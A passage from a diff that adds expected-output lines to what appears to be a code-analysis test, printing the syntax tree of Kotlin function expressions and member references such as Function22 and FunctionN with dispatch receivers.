+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 3
+#   36|                         4: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 4
+#   36|                         5: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 5
+#   36|                         6: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 6
+#   36|                         7: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 7
+#   36|                         8: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 8
+#   36|                         9: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 9
+#   36|                         10: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 10
+#   36|                         11: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 11
+#   36|                         12: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 12
+#   36|                         13: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 13
+#   36|                         14: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 14
+#   36|                         15: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 15
+#   36|                         16: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 16
+#   36|                         17: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 17
+#   36|                         18: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 18
+#   36|                         19: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 19
+#   36|                         20: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 20
+#   36|                         21: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 21
+#   36|                         22: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 22
+#   36|               -3: [TypeAccess] FunctionN<String>
+#   36|                 0: [TypeAccess] String
+#   38|         14: [ExprStmt] <Expr>;
+#   38|           0: [MethodAccess] functionExpression0a(...)
+#   38|             -1: [TypeAccess] FuncExprsKt
+#   38|             0: [MemberRefExpr] ...::...
+#   38|               -4: [AnonymousClass] new Function0<Integer>(...) { ... }
+#   38|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   38|                     0: [Parameter] <dispatchReceiver>
+#   38|                   5: [BlockStmt] { ... }
+#   38|                     0: [SuperConstructorInvocationStmt] super(...)
+#   38|                     1: [ExprStmt] <Expr>;
+#   38|                       0: [AssignExpr] ...=...
+#   38|                         0: [VarAccess] this.<dispatchReceiver>
+#   38|                           -1: [ThisAccess] this
+#   38|                         1: [VarAccess] <dispatchReceiver>
+#   38|                 1: [Method] invoke
+#   38|                   5: [BlockStmt] { ... }
+#   38|                     0: [ReturnStmt] return ...
+#   38|                       0: [MethodAccess] f0(...)
+#   38|                         -1: [VarAccess] this.<dispatchReceiver>
+#   38|                           -1: [ThisAccess] this
+#   38|                 1: [FieldDeclaration] FuncRef <dispatchReceiver>;
+#   38|                   -1: [TypeAccess] FuncRef
+#   38|               -3: [TypeAccess] Function0<Integer>
+#   38|                 0: [TypeAccess] Integer
+#   38|               0: [ClassInstanceExpr] new FuncRef(...)
+#   38|                 -3: [TypeAccess] FuncRef
+#   39|         15: [ExprStmt] <Expr>;
+#   39|           0: [MethodAccess] functionExpression0a(...)
+#   39|             -1: [TypeAccess] FuncExprsKt
+#   39|             0: [MemberRefExpr] ...::...
+#   39|               -4: [AnonymousClass] new Function0<Integer>(...) { ... }
+#   39|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   39|                     0: [Parameter] <dispatchReceiver>
+#   39|                   5: [BlockStmt] { ... }
+#   39|                     0: [SuperConstructorInvocationStmt] super(...)
+#   39|                     1: [ExprStmt] <Expr>;
+#   39|                       0: [AssignExpr] ...=...
+#   39|                         0: [VarAccess] this.<dispatchReceiver>
+#   39|                           -1: [ThisAccess] this
+#   39|                         1: [VarAccess] <dispatchReceiver>
+#   39|                 1: [Method] invoke
+#   39|                   5: [BlockStmt] { ... }
+#   39|                     0: [ReturnStmt] return ...
+#   39|                       0: [MethodAccess] f0(...)
+#   39|                         -1: [VarAccess] this.<dispatchReceiver>
+#   39|                           -1: [ThisAccess] this
+#   39|                 1: [FieldDeclaration] Companion <dispatchReceiver>;
+#   39|                   -1: [TypeAccess] Companion
+#   39|               -3: [TypeAccess] Function0<Integer>
+#   39|                 0: [TypeAccess] Integer
+#   39|               0: [VarAccess] Companion
+#   40|         16: [ExprStmt] <Expr>;
+#   40|           0: [MethodAccess] functionExpression1a(...)
+#   40|             -1: [TypeAccess] FuncExprsKt
+#   40|             0: [IntegerLiteral] 5
+#   40|             1: [MemberRefExpr] ...::...
+#   40|               -4: [AnonymousClass] new Function1<Integer,Integer>(...) { ... }
+#   40|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   40|                     0: [Parameter] <dispatchReceiver>
+#   40|                   5: [BlockStmt] { ... }
+#   40|                     0: [SuperConstructorInvocationStmt] super(...)
+#   40|                     1: [ExprStmt] <Expr>;
+#   40|                       0: [AssignExpr] ...=...
+#   40|                         0: [VarAccess] this.<dispatchReceiver>
+#   40|                           -1: [ThisAccess] this
+#   40|                         1: [VarAccess] <dispatchReceiver>
+#   40|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   40|                     0: [Parameter] a0
+#   40|                   5: [BlockStmt] { ... }
+#   40|                     0: [ReturnStmt] return ...
+#   40|                       0: [MethodAccess] f1(...)
+#   40|                         -1: [VarAccess] this.<dispatchReceiver>
+#   40|                           -1: [ThisAccess] this
+#   40|                         0: [VarAccess] a0
+#   40|                 1: [FieldDeclaration] FuncRef <dispatchReceiver>;
+#   40|                   -1: [TypeAccess] FuncRef
+#   40|               -3: [TypeAccess] Function1<Integer,Integer>
+#   40|                 0: [TypeAccess] Integer
+#   40|                 1: [TypeAccess] Integer
+#   40|               0: [ClassInstanceExpr] new FuncRef(...)
+#   40|                 -3: [TypeAccess] FuncRef
+#   41|         17: [ExprStmt] <Expr>;
+#   41|           0: [MethodAccess] functionExpression1c(...)
+#   41|             -1: [TypeAccess] FuncExprsKt
+#   41|             0: [IntegerLiteral] 5
+#   41|             1: [MemberRefExpr] ...::...
+#   41|               -4: [AnonymousClass] new Function2<FuncRef,Integer,Integer>(...) { ... }
+#   41|                 1: [Constructor] 
+#   41|                   5: [BlockStmt] { ... }
+#   41|                     0: [SuperConstructorInvocationStmt] super(...)
+#   41|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   41|                     0: [Parameter] a0
+#   41|                     1: [Parameter] a1
+#   41|                   5: [BlockStmt] { ... }
+#   41|                     0: [ReturnStmt] return ...
+#   41|                       0: [MethodAccess] f1(...)
+#   41|                         -1: [VarAccess] a0
+#   41|                         0: [VarAccess] a1
+#   41|               -3: [TypeAccess] Function2<FuncRef,Integer,Integer>
+#   41|                 0: [TypeAccess] FuncRef
+#   41|                 1: [TypeAccess] Integer
+#   41|                 2: [TypeAccess] Integer
+#   42|         18: [ExprStmt] <Expr>;
+#   42|           0: [MethodAccess] functionExpression1a(...)
+#   42|             -1: [TypeAccess] FuncExprsKt
+#   42|             0: [IntegerLiteral] 5
+#   42|             1: [MemberRefExpr] ...::...
+#   42|               -4: [AnonymousClass] new Function1<Integer,Integer>(...) { ... }
+#   42|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   42|                     0: [Parameter] <extensionReceiver>
+#   42|                   5: [BlockStmt] { ... }
+#   42|                     0: [SuperConstructorInvocationStmt] super(...)
+#   42|                     1: [ExprStmt] <Expr>;
+#   42|                       0: [AssignExpr] ...=...
+#   42|                         0: [VarAccess] this.<extensionReceiver>
+#   42|                           -1: [ThisAccess] this
+#   42|                         1: [VarAccess] <extensionReceiver>
+#   42|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   42|                     0: [Parameter] a0
+#   42|                   5: [BlockStmt] { ... }
+#   42|                     0: [ReturnStmt] return ...
+#   42|                       0: [MethodAccess] f3(...)
+#   42|                         -1: [TypeAccess] FuncExprsKt
+#   42|                         0: [VarAccess] this.<extensionReceiver>
+#   42|                           -1: [ThisAccess] this
+#   42|                         1: [VarAccess] a0
+#   42|                 1: [FieldDeclaration] int <extensionReceiver>;
+#   42|                   -1: [TypeAccess] int
+#   42|               -3: [TypeAccess] Function1<Integer,Integer>
+#   42|                 0: [TypeAccess] Integer
+#   42|                 1: [TypeAccess] Integer
+#   42|               0: [IntegerLiteral] 3
+#   43|         19: [ExprStmt] <Expr>;
+#   43|           0: [MethodAccess] functionExpression3(...)
+#   43|             -1: [TypeAccess] FuncExprsKt
+#   43|             0: [IntegerLiteral] 5
+#   43|             1: [MemberRefExpr] ...::...
+#   43|               -4: [AnonymousClass] new Function2<Integer,Integer,Integer>(...) { ... }
+#   43|                 1: [Constructor] 
+#   43|                   5: [BlockStmt] { ... }
+#   43|                     0: [SuperConstructorInvocationStmt] super(...)
+#   43|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   43|                     0: [Parameter] a0
+#   43|                     1: [Parameter] a1
+#   43|                   5: [BlockStmt] { ... }
+#   43|                     0: [ReturnStmt] return ...
+#   43|                       0: [MethodAccess] f3(...)
+#   43|                         -1: [TypeAccess] FuncExprsKt
+#   43|                         0: [VarAccess] a0
+#   43|                         1: [VarAccess] a1
+#   43|               -3: [TypeAccess] Function2<Integer,Integer,Integer>
+#   43|                 0: [TypeAccess] Integer
+#   43|                 1: [TypeAccess] Integer
+#   43|                 2: [TypeAccess] Integer
+#   44|         20: [ExprStmt] <Expr>;
+#   44|           0: [MethodAccess] functionExpression22(...)
+#   44|             -1: [TypeAccess] FuncExprsKt
+#   44|             0: [IntegerLiteral] 5
+#   44|             1: [MemberRefExpr] ...::...
+#   44|               -4: [AnonymousClass] new Function22<Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Unit>(...) { ... }
+#   44|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   44|                     0: [Parameter] <dispatchReceiver>
+#   44|                   5: [BlockStmt] { ... }
+#   44|                     0: [SuperConstructorInvocationStmt] super(...)
+#   44|                     1: [ExprStmt] <Expr>;
+#   44|                       0: [AssignExpr] ...=...
+#   44|                         0: [VarAccess] this.<dispatchReceiver>
+#   44|                           -1: [ThisAccess] this
+#   44|                         1: [VarAccess] <dispatchReceiver>
+#   44|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   44|                     0: [Parameter] a0
+#   44|                     1: [Parameter] a1
+#   44|                     2: [Parameter] a2
+#   44|                     3: [Parameter] a3
+#   44|                     4: [Parameter] a4
+#   44|                     5: [Parameter] a5
+#   44|                     6: [Parameter] a6
+#   44|                     7: [Parameter] a7
+#   44|                     8: [Parameter] a8
+#   44|                     9: [Parameter] a9
+#   44|                     10: [Parameter] a10
+#   44|                     11: [Parameter] a11
+#   44|                     12: [Parameter] a12
+#   44|                     13: [Parameter] a13
+#   44|                     14: [Parameter] a14
+#   44|                     15: [Parameter] a15
+#   44|                     16: [Parameter] a16
+#   44|                     17: [Parameter] a17
+#   44|                     18: [Parameter] a18
+#   44|                     19: [Parameter] a19
+#   44|                     20: [Parameter] a20
+#   44|                     21: [Parameter] a21
+#   44|                   5: [BlockStmt] { ... }
+#   44|                     0: [ReturnStmt] return ...
+#   44|                       0: [MethodAccess] f22(...)
+#   44|                         -1: [VarAccess] this.<dispatchReceiver>
+#   44|                           -1: [ThisAccess] this
+#   44|                         0: [VarAccess] a0
+#   44|                         1: [VarAccess] a1
+#   44|                         2: [VarAccess] a2
+#   44|                         3: [VarAccess] a3
+#   44|                         4: [VarAccess] a4
+#   44|                         5: [VarAccess] a5
+#   44|                         6: [VarAccess] a6
+#   44|                         7: [VarAccess] a7
+#   44|                         8: [VarAccess] a8
+#   44|                         9: [VarAccess] a9
+#   44|                         10: [VarAccess] a10
+#   44|                         11: [VarAccess] a11
+#   44|                         12: [VarAccess] a12
+#   44|                         13: [VarAccess] a13
+#   44|                         14: [VarAccess] a14
+#   44|                         15: [VarAccess] a15
+#   44|                         16: [VarAccess] a16
+#   44|                         17: [VarAccess] a17
+#   44|                         18: [VarAccess] a18
+#   44|                         19: [VarAccess] a19
+#   44|                         20: [VarAccess] a20
+#   44|                         21: [VarAccess] a21
+#   44|                 1: [FieldDeclaration] FuncRef <dispatchReceiver>;
+#   44|                   -1: [TypeAccess] FuncRef
+#   44|               -3: [TypeAccess] Function22<Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Unit>
+#   44|                 0: [TypeAccess] Integer
+#   44|                 1: [TypeAccess] Integer
+#   44|                 2: [TypeAccess] Integer
+#   44|                 3: [TypeAccess] Integer
+#   44|                 4: [TypeAccess] Integer
+#   44|                 5: [TypeAccess] Integer
+#   44|                 6: [TypeAccess] Integer
+#   44|                 7: [TypeAccess] Integer
+#   44|                 8: [TypeAccess] Integer
+#   44|                 9: [TypeAccess] Integer
+#   44|                 10: [TypeAccess] Integer
+#   44|                 11: [TypeAccess] Integer
+#   44|                 12: [TypeAccess] Integer
+#   44|                 13: [TypeAccess] Integer
+#   44|                 14: [TypeAccess] Integer
+#   44|                 15: [TypeAccess] Integer
+#   44|                 16: [TypeAccess] Integer
+#   44|                 17: [TypeAccess] Integer
+#   44|                 18: [TypeAccess] Integer
+#   44|                 19: [TypeAccess] Integer
+#   44|                 20: [TypeAccess] Integer
+#   44|                 21: [TypeAccess] Integer
+#   44|                 22: [TypeAccess] Unit
+#   44|               0: [ClassInstanceExpr] new FuncRef(...)
+#   44|                 -3: [TypeAccess] FuncRef
+#   45|         21: [ExprStmt] <Expr>;
+#   45|           0: [MethodAccess] functionExpression23(...)
+#   45|             -1: [TypeAccess] FuncExprsKt
+#   45|             0: [IntegerLiteral] 5
+#   45|             1: [MemberRefExpr] ...::...
+#   45|               -4: [AnonymousClass] new FunctionN<String>(...) { ... }
+#   45|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   45|                     0: [Parameter] <dispatchReceiver>
+#   45|                   5: [BlockStmt] { ... }
+#   45|                     0: [SuperConstructorInvocationStmt] super(...)
+#   45|                     1: [ExprStmt] <Expr>;
+#   45|                       0: [AssignExpr] ...=...
+#   45|                         0: [VarAccess] this.<dispatchReceiver>
+#   45|                           -1: [ThisAccess] this
+#   45|                         1: [VarAccess] <dispatchReceiver>
+#   45|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   45|                     0: [Parameter] a0
+#   45|                   5: [BlockStmt] { ... }
+#   45|                     0: [ReturnStmt] return ...
+#   45|                       0: [MethodAccess] f23(...)
+#   45|                         -1: [VarAccess] this.<dispatchReceiver>
+#   45|                           -1: [ThisAccess] this
+#   45|                         0: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 0
+#   45|                         1: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 1
+#   45|                         2: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 2
+#   45|                         3: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 3
+#   45|                         4: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 4
+#   45|                         5: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 5
+#   45|                         6: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 6
+#   45|                         7: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 7
+#   45|                         8: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 8
+#   45|                         9: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 9
+#   45|                         10: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 10
+#   45|                         11: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 11
+#   45|                         12: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 12
+#   45|                         13: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 13
+#   45|                         14: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 14
+#   45|                         15: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 15
+#   45|                         16: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 16
+#   45|                         17: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 17
+#   45|                         18: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 18
+#   45|                         19: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 19
+#   45|                         20: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 20
+#   45|                         21: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 21
+#   45|                         22: [CastExpr] (...)...
+#   45|                           0: [TypeAccess] int
+#   45|                           1: [ArrayAccess] ...[...]
+#   45|                             0: [VarAccess] a0
+#   45|                             1: [IntegerLiteral] 22
+#   45|                 1: [FieldDeclaration] FuncRef <dispatchReceiver>;
+#   45|                   -1: [TypeAccess] FuncRef
+#   45|               -3: [TypeAccess] FunctionN<String>
+#   45|                 0: [TypeAccess] String
+#   45|               0: [ClassInstanceExpr] new FuncRef(...)
+#   45|                 -3: [TypeAccess] FuncRef
+#   46|         22: [ExprStmt] <Expr>;
+#   46|           0: [MethodAccess] functionExpression23c(...)
+#   46|             -1: [TypeAccess] FuncExprsKt
+#   46|             0: [IntegerLiteral] 5
+#   46|             1: [MemberRefExpr] ...::...
+#   46|               -4: [AnonymousClass] new FunctionN<String>(...) { ... }
+#   46|                 1: [Constructor] 
+#   46|                   5: [BlockStmt] { ... }
+#   46|                     0: [SuperConstructorInvocationStmt] super(...)
+#   46|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   46|                     0: [Parameter] a0
+#   46|                   5: [BlockStmt] { ... }
+#   46|                     0: [ReturnStmt] return ...
+#   46|                       0: [MethodAccess] f23(...)
+#   46|                         -1: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] FuncRef
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 0
+#   46|                         0: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 1
+#   46|                         1: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 2
+#   46|                         2: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 3
+#   46|                         3: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 4
+#   46|                         4: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 5
+#   46|                         5: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 6
+#   46|                         6: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 7
+#   46|                         7: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 8
+#   46|                         8: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 9
+#   46|                         9: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 10
+#   46|                         10: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 11
+#   46|                         11: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 12
+#   46|                         12: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 13
+#   46|                         13: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 14
+#   46|                         14: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 15
+#   46|                         15: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 16
+#   46|                         16: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 17
+#   46|                         17: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 18
+#   46|                         18: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 19
+#   46|                         19: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 20
+#   46|                         20: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 21
+#   46|                         21: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 22
+#   46|                         22: [CastExpr] (...)...
+#   46|                           0: [TypeAccess] int
+#   46|                           1: [ArrayAccess] ...[...]
+#   46|                             0: [VarAccess] a0
+#   46|                             1: [IntegerLiteral] 23
+#   46|               -3: [TypeAccess] FunctionN<String>
+#   46|                 0: [TypeAccess] String
+#   48|         23: [LocalTypeDeclStmt] class ...
+#   48|           0: [LocalClass] 
+#   48|             1: [Constructor] 
+#   48|               5: [BlockStmt] { ... }
+#   48|                 0: [SuperConstructorInvocationStmt] super(...)
+#   48|             1: [Method] local
+#   48|               3: [TypeAccess] int
+#   48|               5: [BlockStmt] { ... }
+#   48|                 0: [ReturnStmt] return ...
+#   48|                   0: [IntegerLiteral] 5
+#   49|         24: [ExprStmt] <Expr>;
+#   49|           0: [MethodAccess] functionExpression0a(...)
+#   49|             -1: [TypeAccess] FuncExprsKt
+#   49|             0: [MemberRefExpr] ...::...
+#   49|               -4: [AnonymousClass] new Function0<Integer>(...) { ... }
+#   49|                 1: [Constructor] 
+#   49|                   5: [BlockStmt] { ... }
+#   49|                     0: [SuperConstructorInvocationStmt] super(...)
+#   49|                 1: [Method] invoke
+#   49|                   5: [BlockStmt] { ... }
+#   49|                     0: [ReturnStmt] return ...
+#   49|                       0: [MethodAccess] local(...)
+#   49|                         -1: [ClassInstanceExpr] new (...)
+#   49|                           -3: [TypeAccess] Object
+#   49|               -3: [TypeAccess] Function0<Integer>
+#   49|                 0: [TypeAccess] Integer
+#   51|         25: [ExprStmt] <Expr>;
+#   51|           0: [MethodAccess] fn(...)
+#   51|             -2: [TypeAccess] FuncRef
+#   51|             -1: [TypeAccess] FuncExprsKt
+#   51|             0: [MemberRefExpr] ...::...
+#   51|               -4: [AnonymousClass] new Function0<FuncRef>(...) { ... }
+#   51|                 1: [Constructor] 
+#   51|                   5: [BlockStmt] { ... }
+#   51|                     0: [SuperConstructorInvocationStmt] super(...)
+#   51|                 1: [Method] invoke
+#   51|                   5: [BlockStmt] { ... }
